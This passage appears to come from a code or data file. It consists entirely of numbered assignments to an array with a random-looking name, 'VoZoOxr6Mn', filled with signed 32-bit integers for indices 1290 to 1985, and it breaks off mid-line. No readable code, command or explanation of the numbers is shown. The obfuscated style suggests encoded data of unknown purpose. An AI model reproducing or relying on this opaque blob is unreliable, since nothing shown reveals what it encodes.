VoZoOxr6Mn(1290) = 366085282 VoZoOxr6Mn(1291) = -760106481 VoZoOxr6Mn(1292) = 1282697591 VoZoOxr6Mn(1293) = -187224100 VoZoOxr6Mn(1294) = 1378999758 VoZoOxr6Mn(1295) = -413777050 VoZoOxr6Mn(1296) = -859407916 VoZoOxr6Mn(1297) = 775692507 VoZoOxr6Mn(1298) = -2081787988 VoZoOxr6Mn(1299) = -1096984620 VoZoOxr6Mn(1300) = 1454308264 VoZoOxr6Mn(1301) = 805082866 VoZoOxr6Mn(1302) = 1844411299 VoZoOxr6Mn(1303) = 1929351168 VoZoOxr6Mn(1304) = -1055694395 VoZoOxr6Mn(1305) = -1719644525 VoZoOxr6Mn(1306) = -1350945611 VoZoOxr6Mn(1307) = -312845215 VoZoOxr6Mn(1308) = 1578992521 VoZoOxr6Mn(1309) = -481734877 VoZoOxr6Mn(1310) = 386625682 VoZoOxr6Mn(1311) = 1614183198 VoZoOxr6Mn(1312) = -1665534339 VoZoOxr6Mn(1313) = -618146905 VoZoOxr6Mn(1314) = -817210136 VoZoOxr6Mn(1315) = -1164880768 VoZoOxr6Mn(1316) = 735044200 VoZoOxr6Mn(1317) = -1384437482 VoZoOxr6Mn(1318) = -1707688879 VoZoOxr6Mn(1319) = 1423716397 VoZoOxr6Mn(1320) = -1740333916 VoZoOxr6Mn(1321) = 501199075 VoZoOxr6Mn(1322) = 2045089185 VoZoOxr6Mn(1323) = -1562290394 VoZoOxr6Mn(1324) = -1855520284 VoZoOxr6Mn(1325) = 1354764638 VoZoOxr6Mn(1326) = -1408798081 VoZoOxr6Mn(1327) = -171629045 VoZoOxr6Mn(1328) = -1346541284 VoZoOxr6Mn(1329) = 1205673869 VoZoOxr6Mn(1330) = 1589580493 VoZoOxr6Mn(1331) = -548002771 VoZoOxr6Mn(1332) = -29077500 VoZoOxr6Mn(1333) = 286432944 VoZoOxr6Mn(1334) = -188997066 VoZoOxr6Mn(1335) = 1722059192 VoZoOxr6Mn(1336) = 2003192715 VoZoOxr6Mn(1337) = -255512569 VoZoOxr6Mn(1338) = -239309986 VoZoOxr6Mn(1339) = 311456198 VoZoOxr6Mn(1340) = -1137498672 VoZoOxr6Mn(1341) = 907337686 VoZoOxr6Mn(1342) = 1475128954 VoZoOxr6Mn(1343) = 1770095806 VoZoOxr6Mn(1344) = 1971974322 VoZoOxr6Mn(1345) = -1558963615 VoZoOxr6Mn(1346) = 1138047706 VoZoOxr6Mn(1347) = -415984712 VoZoOxr6Mn(1348) = 1939383647 VoZoOxr6Mn(1349) = 1884495342 VoZoOxr6Mn(1350) = 1393358178 VoZoOxr6Mn(1351) = -1380892212 VoZoOxr6Mn(1352) = -285893265 VoZoOxr6Mn(1353) = -1247116398 VoZoOxr6Mn(1354) = 36423457 VoZoOxr6Mn(1355) = -850182258 VoZoOxr6Mn(1356) = 802908350 VoZoOxr6Mn(1357) = 112813180 VoZoOxr6Mn(1358) = -1393137983 VoZoOxr6Mn(1359) = -1485042471 VoZoOxr6Mn(1360) = 817613400 VoZoOxr6Mn(1361) = -164045235 VoZoOxr6Mn(1362) = 1031385202 VoZoOxr6Mn(1363) = -706550015 VoZoOxr6Mn(1364) = 388994319 VoZoOxr6Mn(1365) = -1462714432 VoZoOxr6Mn(1366) = -1877359074 VoZoOxr6Mn(1367) = 1748690683 VoZoOxr6Mn(1368) = 1883773428 VoZoOxr6Mn(1369) = -665989715 VoZoOxr6Mn(1370) = -1350205310 VoZoOxr6Mn(1371) = -1854133703 VoZoOxr6Mn(1372) = -1471889211 VoZoOxr6Mn(1373) = -1267214279 VoZoOxr6Mn(1374) = 740349392 VoZoOxr6Mn(1375) = 401739049 VoZoOxr6Mn(1376) = 98347824 VoZoOxr6Mn(1377) = 2027461106 VoZoOxr6Mn(1378) = -443856866 VoZoOxr6Mn(1379) = -2009078943 VoZoOxr6Mn(1380) = 2129118850 VoZoOxr6Mn(1381) = 1433490148 VoZoOxr6Mn(1382) = 810680473 VoZoOxr6Mn(1383) = 12168825 VoZoOxr6Mn(1384) = 1607306739 VoZoOxr6Mn(1385) = -1402706189 VoZoOxr6Mn(1386) = 204981242 VoZoOxr6Mn(1387) = -1468360830 VoZoOxr6Mn(1388) = -1247666836 VoZoOxr6Mn(1389) = -631185185 VoZoOxr6Mn(1390) = 1537913312 VoZoOxr6Mn(1391) = 1855070003 VoZoOxr6Mn(1392) = -161674554 VoZoOxr6Mn(1393) = -378439081 VoZoOxr6Mn(1394) = 706277560 VoZoOxr6Mn(1395) = 1822327170 VoZoOxr6Mn(1396) = 995194067 VoZoOxr6Mn(1397) = 2120014617 VoZoOxr6Mn(1398) = -1766724174 VoZoOxr6Mn(1399) = 949574155 VoZoOxr6Mn(1400) = -590683463 VoZoOxr6Mn(1401) = 1266641378 VoZoOxr6Mn(1402) = -1660543276 VoZoOxr6Mn(1403) = 531513925 VoZoOxr6Mn(1404) = 1792856840 VoZoOxr6Mn(1405) = 1042491292 VoZoOxr6Mn(1406) = 592559592 VoZoOxr6Mn(1407) = 1428001326 VoZoOxr6Mn(1408) = 507366386 VoZoOxr6Mn(1409) = -1631016569 VoZoOxr6Mn(1410) = 2100750237 VoZoOxr6Mn(1411) = -1037041645 VoZoOxr6Mn(1412) = -1246198022 VoZoOxr6Mn(1413) = -828350125 VoZoOxr6Mn(1414) = 182870678 VoZoOxr6Mn(1415) = 171478220 VoZoOxr6Mn(1416) = 1299477611 VoZoOxr6Mn(1417) = -1666671981 VoZoOxr6Mn(1418) = -2142256670 VoZoOxr6Mn(1419) = -1581806845 VoZoOxr6Mn(1420) = 1962302628 VoZoOxr6Mn(1421) = 360417266 VoZoOxr6Mn(1422) = 1935180304 VoZoOxr6Mn(1423) = -110413572 VoZoOxr6Mn(1424) = -1614286609 VoZoOxr6Mn(1425) = -1819203489 VoZoOxr6Mn(1426) = 593789810 VoZoOxr6Mn(1427) = -397263023 VoZoOxr6Mn(1428) = 947723639 VoZoOxr6Mn(1429) = 862640886 VoZoOxr6Mn(1430) = 1286525702 VoZoOxr6Mn(1431) = -417465200 VoZoOxr6Mn(1432) = 908753092 VoZoOxr6Mn(1433) = 1939290200 VoZoOxr6Mn(1434) = 1810176259 VoZoOxr6Mn(1435) = -1615307069 VoZoOxr6Mn(1436) = -971376211 VoZoOxr6Mn(1437) = 1099892234 VoZoOxr6Mn(1438) = -1958787141 VoZoOxr6Mn(1439) = 554899472 VoZoOxr6Mn(1440) = -1864554775 VoZoOxr6Mn(1441) = 1177056888 VoZoOxr6Mn(1442) = 315385830 VoZoOxr6Mn(1443) = -472238312 VoZoOxr6Mn(1444) = 129757082 VoZoOxr6Mn(1445) = -587921701 VoZoOxr6Mn(1446) = -922987227 VoZoOxr6Mn(1447) = 635246806 VoZoOxr6Mn(1448) = -2095170763 VoZoOxr6Mn(1449) = -56343194 VoZoOxr6Mn(1450) = 270378713 VoZoOxr6Mn(1451) = 1842535624 VoZoOxr6Mn(1452) = 1823268595 VoZoOxr6Mn(1453) = 432128661 VoZoOxr6Mn(1454) = 1758315031 VoZoOxr6Mn(1455) = -725941026 VoZoOxr6Mn(1456) = -62476250 VoZoOxr6Mn(1457) = 1925869502 VoZoOxr6Mn(1458) = -1166746349 VoZoOxr6Mn(1459) = 1882888947 VoZoOxr6Mn(1460) = -2124052960 VoZoOxr6Mn(1461) = -2048720735 VoZoOxr6Mn(1462) = 1238919675 VoZoOxr6Mn(1463) = 917313524 VoZoOxr6Mn(1464) = 1518008614 VoZoOxr6Mn(1465) = -42552232 VoZoOxr6Mn(1466) = -321524449 VoZoOxr6Mn(1467) = -55460907 VoZoOxr6Mn(1468) = -1295249184 VoZoOxr6Mn(1469) = -1292853406 VoZoOxr6Mn(1470) = -1221215925 VoZoOxr6Mn(1471) = 848225629 VoZoOxr6Mn(1472) = 2146211762 VoZoOxr6Mn(1473) = 1495312762 VoZoOxr6Mn(1474) = -482805557 VoZoOxr6Mn(1475) = -372057227 VoZoOxr6Mn(1476) = 911867746 VoZoOxr6Mn(1477) = -1262588329 VoZoOxr6Mn(1478) = -1564054856 VoZoOxr6Mn(1479) = 2142021344 VoZoOxr6Mn(1480) = 774188724 VoZoOxr6Mn(1481) = -852337349 VoZoOxr6Mn(1482) = 890126557 VoZoOxr6Mn(1483) = 1413399154 VoZoOxr6Mn(1484) = 913528679 VoZoOxr6Mn(1485) = -422312803 VoZoOxr6Mn(1486) = -1305135861 VoZoOxr6Mn(1487) = 439398442 VoZoOxr6Mn(1488) = 206498388 VoZoOxr6Mn(1489) = 876184338 VoZoOxr6Mn(1490) = 287063801 VoZoOxr6Mn(1491) = 1198498583 VoZoOxr6Mn(1492) = 1229299711 VoZoOxr6Mn(1493) = -1724774398 VoZoOxr6Mn(1494) = -71693091 VoZoOxr6Mn(1495) = -27544364 VoZoOxr6Mn(1496) = 26072796 VoZoOxr6Mn(1497) = -1549739634 VoZoOxr6Mn(1498) = 446626761 VoZoOxr6Mn(1499) = -373296677 VoZoOxr6Mn(1500) = 374019361 VoZoOxr6Mn(1501) = -1677953321 VoZoOxr6Mn(1502) = -918687536 VoZoOxr6Mn(1503) = 1006440936 VoZoOxr6Mn(1504) = -1581590199 VoZoOxr6Mn(1505) = 813938874 VoZoOxr6Mn(1506) = -1936841025 VoZoOxr6Mn(1507) = 646793002 VoZoOxr6Mn(1508) = 108655755 VoZoOxr6Mn(1509) = 1012178096 VoZoOxr6Mn(1510) = -78347119 VoZoOxr6Mn(1511) = 1417856340 VoZoOxr6Mn(1512) = -1504492397 VoZoOxr6Mn(1513) = -871128521 VoZoOxr6Mn(1514) = -707320234 VoZoOxr6Mn(1515) = -1012042102 VoZoOxr6Mn(1516) = -1117862962 VoZoOxr6Mn(1517) = -529937420 VoZoOxr6Mn(1518) = -1877324938 VoZoOxr6Mn(1519) = 2001210480 VoZoOxr6Mn(1520) = -609845907 VoZoOxr6Mn(1521) = 607291385 VoZoOxr6Mn(1522) = 903290105 VoZoOxr6Mn(1523) = 1663370987 VoZoOxr6Mn(1524) = 156662369 VoZoOxr6Mn(1525) = -1633904451 VoZoOxr6Mn(1526) = -1277636219 VoZoOxr6Mn(1527) = 515637017 VoZoOxr6Mn(1528) = 775715 VoZoOxr6Mn(1529) = 673463718 VoZoOxr6Mn(1530) = 1903835972 VoZoOxr6Mn(1531) = 2131610718 VoZoOxr6Mn(1532) = 156469343 VoZoOxr6Mn(1533) = 396822788 VoZoOxr6Mn(1534) = -892962459 VoZoOxr6Mn(1535) = 1531062996 VoZoOxr6Mn(1536) = 2014670256 VoZoOxr6Mn(1537) = -779332119 VoZoOxr6Mn(1538) = -1463272434 VoZoOxr6Mn(1539) = -1324388804 VoZoOxr6Mn(1540) = -331128737 VoZoOxr6Mn(1541) = -322794213 VoZoOxr6Mn(1542) = -1621492038 VoZoOxr6Mn(1543) = -2070435864 VoZoOxr6Mn(1544) = -470156398 VoZoOxr6Mn(1545) = -841238933 VoZoOxr6Mn(1546) = -905814087 VoZoOxr6Mn(1547) = -1476302625 VoZoOxr6Mn(1548) = 782163779 VoZoOxr6Mn(1549) = 503481032 VoZoOxr6Mn(1550) = 1121839855 VoZoOxr6Mn(1551) = 541772421 VoZoOxr6Mn(1552) = -831224110 VoZoOxr6Mn(1553) = 772921914 VoZoOxr6Mn(1554) = -1460279222 VoZoOxr6Mn(1555) = 928706557 VoZoOxr6Mn(1556) = -2107015324 VoZoOxr6Mn(1557) = -294494129 VoZoOxr6Mn(1558) = 1977744 VoZoOxr6Mn(1559) = -1760576807 VoZoOxr6Mn(1560) = -228879787 VoZoOxr6Mn(1561) = 333051009 VoZoOxr6Mn(1562) = 704984901 VoZoOxr6Mn(1563) = -794833572 VoZoOxr6Mn(1564) = -1305338190 VoZoOxr6Mn(1565) = -1532909470 VoZoOxr6Mn(1566) = 1831956930 VoZoOxr6Mn(1567) = -47705692 VoZoOxr6Mn(1568) = 1554015109 VoZoOxr6Mn(1569) = -1354954924 VoZoOxr6Mn(1570) = -1081121021 VoZoOxr6Mn(1571) = 1837649826 VoZoOxr6Mn(1572) = 1587973151 VoZoOxr6Mn(1573) = -1422249479 VoZoOxr6Mn(1574) = -1715904549 VoZoOxr6Mn(1575) = -542990474 VoZoOxr6Mn(1576) = 877543735 VoZoOxr6Mn(1577) = 1550183574 VoZoOxr6Mn(1578) = -536682784 VoZoOxr6Mn(1579) = 709700838 VoZoOxr6Mn(1580) = -983374782 VoZoOxr6Mn(1581) = 672083980 VoZoOxr6Mn(1582) = -1565145867 VoZoOxr6Mn(1583) = 418720 VoZoOxr6Mn(1584) = -774245067 VoZoOxr6Mn(1585) = -438456511 VoZoOxr6Mn(1586) = -888719117 VoZoOxr6Mn(1587) = -1064198873 VoZoOxr6Mn(1588) = 801119615 VoZoOxr6Mn(1589) = 835568692 VoZoOxr6Mn(1590) = 853059530 VoZoOxr6Mn(1591) = 1499452779 VoZoOxr6Mn(1592) = 2017980816 VoZoOxr6Mn(1593) = -1762116430 VoZoOxr6Mn(1594) = 1794859739 VoZoOxr6Mn(1595) = -276953143 VoZoOxr6Mn(1596) = -211980264 VoZoOxr6Mn(1597) = -564981962 VoZoOxr6Mn(1598) = -1934348747 VoZoOxr6Mn(1599) = 1646644339 VoZoOxr6Mn(1600) = -2105574767 VoZoOxr6Mn(1601) = -206495586 VoZoOxr6Mn(1602) = -1219574584 VoZoOxr6Mn(1603) = -2017407816 VoZoOxr6Mn(1604) = -1208475498 VoZoOxr6Mn(1605) = 882144227 VoZoOxr6Mn(1606) = -761981689 VoZoOxr6Mn(1607) = 1321985123 VoZoOxr6Mn(1608) = 821834899 VoZoOxr6Mn(1609) = 1490296520 VoZoOxr6Mn(1610) = -1627834539 VoZoOxr6Mn(1611) = -603937908 VoZoOxr6Mn(1612) = 788589747 VoZoOxr6Mn(1613) = 1152586657 VoZoOxr6Mn(1614) = -1570080367 VoZoOxr6Mn(1615) = -1839666593 VoZoOxr6Mn(1616) = -1040766884 VoZoOxr6Mn(1617) = -1917782825 VoZoOxr6Mn(1618) = 1607915038 VoZoOxr6Mn(1619) = 2055460214 VoZoOxr6Mn(1620) = -1651982803 VoZoOxr6Mn(1621) = -1561526920 VoZoOxr6Mn(1622) = -1430979816 VoZoOxr6Mn(1623) = 1274296136 VoZoOxr6Mn(1624) = -1045276195 VoZoOxr6Mn(1625) = -268584240 VoZoOxr6Mn(1626) = -1352644465 VoZoOxr6Mn(1627) = 819362064 VoZoOxr6Mn(1628) = -1915366975 VoZoOxr6Mn(1629) = 1791217204 VoZoOxr6Mn(1630) = -558387463 VoZoOxr6Mn(1631) = 1369708117 VoZoOxr6Mn(1632) = 1057466237 VoZoOxr6Mn(1633) = -1861711318 VoZoOxr6Mn(1634) = -849206527 VoZoOxr6Mn(1635) = -335798168 VoZoOxr6Mn(1636) = -684505258 VoZoOxr6Mn(1637) = -1606948545 VoZoOxr6Mn(1638) = -1989988891 VoZoOxr6Mn(1639) = 1317491897 VoZoOxr6Mn(1640) = 1039181100 VoZoOxr6Mn(1641) = -677532984 VoZoOxr6Mn(1642) = 760092148 VoZoOxr6Mn(1643) = -641921468 VoZoOxr6Mn(1644) = -488045834 VoZoOxr6Mn(1645) = -1144992058 VoZoOxr6Mn(1646) = 835419010 VoZoOxr6Mn(1647) = -707525989 VoZoOxr6Mn(1648) = 167850217 VoZoOxr6Mn(1649) = 1662029205 VoZoOxr6Mn(1650) = -866450727 VoZoOxr6Mn(1651) = 1017317084 VoZoOxr6Mn(1652) = -286764918 VoZoOxr6Mn(1653) = -822111209 VoZoOxr6Mn(1654) = 1409758877 VoZoOxr6Mn(1655) = 2114933955 VoZoOxr6Mn(1656) = -199068472 VoZoOxr6Mn(1657) = 1196985427 VoZoOxr6Mn(1658) = -714632985 VoZoOxr6Mn(1659) = 1080333728 VoZoOxr6Mn(1660) = -95276301 VoZoOxr6Mn(1661) = -326824146 VoZoOxr6Mn(1662) = 969809672 VoZoOxr6Mn(1663) = -1650721235 VoZoOxr6Mn(1664) = 779845789 VoZoOxr6Mn(1665) = 1332029020 VoZoOxr6Mn(1666) = -355354063 VoZoOxr6Mn(1667) = 1803318110 VoZoOxr6Mn(1668) = 1801056436 VoZoOxr6Mn(1669) = -1705293630 VoZoOxr6Mn(1670) = -1120299876 VoZoOxr6Mn(1671) = 253405581 VoZoOxr6Mn(1672) = -865959042 VoZoOxr6Mn(1673) = 772437333 VoZoOxr6Mn(1674) = 2033457006 VoZoOxr6Mn(1675) = 1634659827 VoZoOxr6Mn(1676) = -473122153 VoZoOxr6Mn(1677) = 845592063 VoZoOxr6Mn(1678) = -1059897221 VoZoOxr6Mn(1679) = -1012212400 VoZoOxr6Mn(1680) = 1084842883 VoZoOxr6Mn(1681) = -2078491464 VoZoOxr6Mn(1682) = 335398317 VoZoOxr6Mn(1683) = -269437219 VoZoOxr6Mn(1684) = 475465587 VoZoOxr6Mn(1685) = 875535352 VoZoOxr6Mn(1686) = 1186934316 VoZoOxr6Mn(1687) = 335182565 VoZoOxr6Mn(1688) = 2031720406 VoZoOxr6Mn(1689) = 826581741 VoZoOxr6Mn(1690) = 1712963247 VoZoOxr6Mn(1691) = 723280131 VoZoOxr6Mn(1692) = 1480070847 VoZoOxr6Mn(1693) = 260329907 VoZoOxr6Mn(1694) = 1253555361 VoZoOxr6Mn(1695) = 476294714 VoZoOxr6Mn(1696) = -2140791368 VoZoOxr6Mn(1697) = 1074835489 VoZoOxr6Mn(1698) = 7333862 VoZoOxr6Mn(1699) = -862205734 VoZoOxr6Mn(1700) = 803896481 VoZoOxr6Mn(1701) = 1944578681 VoZoOxr6Mn(1702) = 1171104623 VoZoOxr6Mn(1703) = 670873607 VoZoOxr6Mn(1704) = 414946340 VoZoOxr6Mn(1705) = 633451336 VoZoOxr6Mn(1706) = 418238309 VoZoOxr6Mn(1707) = -399771752 VoZoOxr6Mn(1708) = 1454911677 VoZoOxr6Mn(1709) = -67784401 VoZoOxr6Mn(1710) = 1423987959 VoZoOxr6Mn(1711) = -620078974 VoZoOxr6Mn(1712) = -230007812 VoZoOxr6Mn(1713) = -1185916343 VoZoOxr6Mn(1714) = 377186638 VoZoOxr6Mn(1715) = 818948039 VoZoOxr6Mn(1716) = -17047587 VoZoOxr6Mn(1717) = -1078488420 VoZoOxr6Mn(1718) = -401883021 VoZoOxr6Mn(1719) = 1942434216 VoZoOxr6Mn(1720) = 1417914928 VoZoOxr6Mn(1721) = -2108605521 VoZoOxr6Mn(1722) = -1359126049 VoZoOxr6Mn(1723) = 1334197397 VoZoOxr6Mn(1724) = -651861901 VoZoOxr6Mn(1725) = -1409849602 VoZoOxr6Mn(1726) = -1333539919 VoZoOxr6Mn(1727) = 164023804 VoZoOxr6Mn(1728) = -123414266 VoZoOxr6Mn(1729) = -833096290 VoZoOxr6Mn(1730) = 194945623 VoZoOxr6Mn(1731) = -564691290 VoZoOxr6Mn(1732) = 1111547515 VoZoOxr6Mn(1733) = 1312304069 VoZoOxr6Mn(1734) = 1576911767 VoZoOxr6Mn(1735) = 1477138386 VoZoOxr6Mn(1736) = -1007027121 VoZoOxr6Mn(1737) = -503968723 VoZoOxr6Mn(1738) = -1967020005 VoZoOxr6Mn(1739) = 1039764016 VoZoOxr6Mn(1740) = -382304776 VoZoOxr6Mn(1741) = -2123360370 VoZoOxr6Mn(1742) = -1216516479 VoZoOxr6Mn(1743) = -1165679730 VoZoOxr6Mn(1744) = -110235220 VoZoOxr6Mn(1745) = -531066018 VoZoOxr6Mn(1746) = -1564756420 VoZoOxr6Mn(1747) = -1224325799 VoZoOxr6Mn(1748) = 1898939545 VoZoOxr6Mn(1749) = -1497937799 VoZoOxr6Mn(1750) = 901716023 VoZoOxr6Mn(1751) = 1571514503 VoZoOxr6Mn(1752) = 1252510096 VoZoOxr6Mn(1753) = -202205045 VoZoOxr6Mn(1754) = -1909623105 VoZoOxr6Mn(1755) = 1478084925 VoZoOxr6Mn(1756) = 754772733 VoZoOxr6Mn(1757) = -1958106211 VoZoOxr6Mn(1758) = -885031334 VoZoOxr6Mn(1759) = -1927612837 VoZoOxr6Mn(1760) = 528191023 VoZoOxr6Mn(1761) = -875819352 VoZoOxr6Mn(1762) = -1228788812 VoZoOxr6Mn(1763) = -451373287 VoZoOxr6Mn(1764) = -1839636578 VoZoOxr6Mn(1765) = -1378223484 VoZoOxr6Mn(1766) = 1785399338 VoZoOxr6Mn(1767) = 387896834 VoZoOxr6Mn(1768) = 1151196270 VoZoOxr6Mn(1769) = -1886750332 VoZoOxr6Mn(1770) = -183658678 VoZoOxr6Mn(1771) = 186346398 VoZoOxr6Mn(1772) = -857454247 VoZoOxr6Mn(1773) = 1865998217 VoZoOxr6Mn(1774) = -1142798227 VoZoOxr6Mn(1775) = -472292185 VoZoOxr6Mn(1776) = -2108993766 VoZoOxr6Mn(1777) = -1200432914 VoZoOxr6Mn(1778) = 1099564551 VoZoOxr6Mn(1779) = -984546228 VoZoOxr6Mn(1780) = -1467130489 VoZoOxr6Mn(1781) = -1756238565 VoZoOxr6Mn(1782) = 577096683 VoZoOxr6Mn(1783) = -1061293454 VoZoOxr6Mn(1784) = 1345101867 VoZoOxr6Mn(1785) = 1831009158 VoZoOxr6Mn(1786) = -1424003086 VoZoOxr6Mn(1787) = 323638805 VoZoOxr6Mn(1788) = -152379672 VoZoOxr6Mn(1789) = 2124955282 VoZoOxr6Mn(1790) = -1890927004 VoZoOxr6Mn(1791) = -1562268068 VoZoOxr6Mn(1792) = -657317636 VoZoOxr6Mn(1793) = 20400353 VoZoOxr6Mn(1794) = 467588766 VoZoOxr6Mn(1795) = -995462844 VoZoOxr6Mn(1796) = -1163625986 VoZoOxr6Mn(1797) = -1266606936 VoZoOxr6Mn(1798) = -1813340055 VoZoOxr6Mn(1799) = -793842395 VoZoOxr6Mn(1800) = -544862572 VoZoOxr6Mn(1801) = -451882240 VoZoOxr6Mn(1802) = 723456170 VoZoOxr6Mn(1803) = -2026628472 VoZoOxr6Mn(1804) = 345379990 VoZoOxr6Mn(1805) = -199835088 VoZoOxr6Mn(1806) = 1482296314 VoZoOxr6Mn(1807) = 2023339339 VoZoOxr6Mn(1808) = -1972825223 VoZoOxr6Mn(1809) = 114241635 VoZoOxr6Mn(1810) = 808122290 VoZoOxr6Mn(1811) = -1132238248 VoZoOxr6Mn(1812) = 1517693783 VoZoOxr6Mn(1813) = -16725718 VoZoOxr6Mn(1814) = 1307082275 VoZoOxr6Mn(1815) = -686540073 VoZoOxr6Mn(1816) = 1735133632 VoZoOxr6Mn(1817) = 1865394470 VoZoOxr6Mn(1818) = 787431937 VoZoOxr6Mn(1819) = 963883499 VoZoOxr6Mn(1820) = -1855949771 VoZoOxr6Mn(1821) = -431595464 VoZoOxr6Mn(1822) = -92660174 VoZoOxr6Mn(1823) = -918605110 VoZoOxr6Mn(1824) = 1716538963 VoZoOxr6Mn(1825) = 667900802 VoZoOxr6Mn(1826) = -1886104169 VoZoOxr6Mn(1827) = -194577497 VoZoOxr6Mn(1828) = -943831165 VoZoOxr6Mn(1829) = -606620016 VoZoOxr6Mn(1830) = -1903901477 VoZoOxr6Mn(1831) = 60821279 VoZoOxr6Mn(1832) = 1494337415 VoZoOxr6Mn(1833) = -1875427534 VoZoOxr6Mn(1834) = -2078135062 VoZoOxr6Mn(1835) = 854430532 VoZoOxr6Mn(1836) = 1005775649 VoZoOxr6Mn(1837) = -1756482347 VoZoOxr6Mn(1838) = 1703142214 VoZoOxr6Mn(1839) = 1735849593 VoZoOxr6Mn(1840) = 1710786563 VoZoOxr6Mn(1841) = 1853637431 VoZoOxr6Mn(1842) = -1006283594 VoZoOxr6Mn(1843) = 338239578 VoZoOxr6Mn(1844) = 954229579 VoZoOxr6Mn(1845) = 2060681049 VoZoOxr6Mn(1846) = -434231078 VoZoOxr6Mn(1847) = -457916692 VoZoOxr6Mn(1848) = 724661664 VoZoOxr6Mn(1849) = -1159669004 VoZoOxr6Mn(1850) = 1751630908 VoZoOxr6Mn(1851) = -1193323248 VoZoOxr6Mn(1852) = 1022148856 VoZoOxr6Mn(1853) = -1080528250 VoZoOxr6Mn(1854) = -1366839421 VoZoOxr6Mn(1855) = -518385273 VoZoOxr6Mn(1856) = 794175513 VoZoOxr6Mn(1857) = -1802884732 VoZoOxr6Mn(1858) = 1942960705 VoZoOxr6Mn(1859) = -1364871970 VoZoOxr6Mn(1860) = 1370441737 VoZoOxr6Mn(1861) = -1098478448 VoZoOxr6Mn(1862) = 648204264 VoZoOxr6Mn(1863) = -97238136 VoZoOxr6Mn(1864) = 1830539836 VoZoOxr6Mn(1865) = 1544951249 VoZoOxr6Mn(1866) = -1095105927 VoZoOxr6Mn(1867) = 2017523506 VoZoOxr6Mn(1868) = -1904085685 VoZoOxr6Mn(1869) = -52730489 VoZoOxr6Mn(1870) = 117072661 VoZoOxr6Mn(1871) = -1475761436 VoZoOxr6Mn(1872) = 1893895096 VoZoOxr6Mn(1873) = 206617724 VoZoOxr6Mn(1874) = -1069499652 VoZoOxr6Mn(1875) = -1475522661 VoZoOxr6Mn(1876) = 1399798051 VoZoOxr6Mn(1877) = -1807723662 VoZoOxr6Mn(1878) = -2053393653 VoZoOxr6Mn(1879) = 1499684362 VoZoOxr6Mn(1880) = 1140887960 VoZoOxr6Mn(1881) = 1444950523 VoZoOxr6Mn(1882) = -922111866 VoZoOxr6Mn(1883) = 176468873 VoZoOxr6Mn(1884) = 1689415856 VoZoOxr6Mn(1885) = -390156747 VoZoOxr6Mn(1886) = 317999275 VoZoOxr6Mn(1887) = 650871887 VoZoOxr6Mn(1888) = 1351273947 VoZoOxr6Mn(1889) = 137945223 VoZoOxr6Mn(1890) = 2045212605 VoZoOxr6Mn(1891) = -777980123 VoZoOxr6Mn(1892) = 1435829339 VoZoOxr6Mn(1893) = 1684990284 VoZoOxr6Mn(1894) = -855562523 VoZoOxr6Mn(1895) = 1702492642 VoZoOxr6Mn(1896) = -1552158453 VoZoOxr6Mn(1897) = 1420713381 VoZoOxr6Mn(1898) = 830921291 VoZoOxr6Mn(1899) = 923396675 VoZoOxr6Mn(1900) = -1305392807 VoZoOxr6Mn(1901) = -1293555842 VoZoOxr6Mn(1902) = -181822717 VoZoOxr6Mn(1903) = -972488796 VoZoOxr6Mn(1904) = -2075653931 VoZoOxr6Mn(1905) = -1906021628 VoZoOxr6Mn(1906) = -341532206 VoZoOxr6Mn(1907) = 1711650179 VoZoOxr6Mn(1908) = -1535716462 VoZoOxr6Mn(1909) = -146121622 VoZoOxr6Mn(1910) = -270582708 VoZoOxr6Mn(1911) = -596190089 VoZoOxr6Mn(1912) = 1694915314 VoZoOxr6Mn(1913) = -1536496442 VoZoOxr6Mn(1914) = -374583033 VoZoOxr6Mn(1915) = 1565731288 VoZoOxr6Mn(1916) = 405858073 VoZoOxr6Mn(1917) = -140243701 VoZoOxr6Mn(1918) = 1651381654 VoZoOxr6Mn(1919) = 440709460 VoZoOxr6Mn(1920) = -2036735254 VoZoOxr6Mn(1921) = -1943192620 VoZoOxr6Mn(1922) = -1354906623 VoZoOxr6Mn(1923) = -2097383453 VoZoOxr6Mn(1924) = 275586604 VoZoOxr6Mn(1925) = -2032969813 VoZoOxr6Mn(1926) = -436896720 VoZoOxr6Mn(1927) = 454645065 VoZoOxr6Mn(1928) = -983511091 VoZoOxr6Mn(1929) = -396390092 VoZoOxr6Mn(1930) = 1800324119 VoZoOxr6Mn(1931) = -1131859210 VoZoOxr6Mn(1932) = 193158665 VoZoOxr6Mn(1933) = -845650800 VoZoOxr6Mn(1934) = -789772457 VoZoOxr6Mn(1935) = -874276767 VoZoOxr6Mn(1936) = -1487749622 VoZoOxr6Mn(1937) = -1738070476 VoZoOxr6Mn(1938) = -545570502 VoZoOxr6Mn(1939) = 1988922201 VoZoOxr6Mn(1940) = 718376862 VoZoOxr6Mn(1941) = -463671247 VoZoOxr6Mn(1942) = -1789412099 VoZoOxr6Mn(1943) = 528442349 VoZoOxr6Mn(1944) = -652830964 VoZoOxr6Mn(1945) = -1960922525 VoZoOxr6Mn(1946) = 1571061678 VoZoOxr6Mn(1947) = 2094383722 VoZoOxr6Mn(1948) = 1919626128 VoZoOxr6Mn(1949) = 785867724 VoZoOxr6Mn(1950) = -145772465 VoZoOxr6Mn(1951) = 18104072 VoZoOxr6Mn(1952) = 688225344 VoZoOxr6Mn(1953) = 875054881 VoZoOxr6Mn(1954) = 841479957 VoZoOxr6Mn(1955) = -2123256296 VoZoOxr6Mn(1956) = -1508018783 VoZoOxr6Mn(1957) = -1574701174 VoZoOxr6Mn(1958) = 1142310626 VoZoOxr6Mn(1959) = 469411398 VoZoOxr6Mn(1960) = 2080957700 VoZoOxr6Mn(1961) = 2065374273 VoZoOxr6Mn(1962) = -1237786089 VoZoOxr6Mn(1963) = 1343073676 VoZoOxr6Mn(1964) = 1134450910 VoZoOxr6Mn(1965) = 719258624 VoZoOxr6Mn(1966) = -62968890 VoZoOxr6Mn(1967) = -1348032732 VoZoOxr6Mn(1968) = 1658328282 VoZoOxr6Mn(1969) = 335261518 VoZoOxr6Mn(1970) = -458049938 VoZoOxr6Mn(1971) = -155124601 VoZoOxr6Mn(1972) = -329185204 VoZoOxr6Mn(1973) = 1973946969 VoZoOxr6Mn(1974) = 825229624 VoZoOxr6Mn(1975) = -1440949386 VoZoOxr6Mn(1976) = -837381239 VoZoOxr6Mn(1977) = -256466492 VoZoOxr6Mn(1978) = 107565420 VoZoOxr6Mn(1979) = 560576352 VoZoOxr6Mn(1980) = -74917508 VoZoOxr6Mn(1981) = 261315735 VoZoOxr6Mn(1982) = 1635985251 VoZoOxr6Mn(1983) = 1486426075 VoZoOxr6Mn(1984) = -1267472191 VoZoOxr6Mn(1985) = -1585821378 VoZoOxr6Mn(1986) 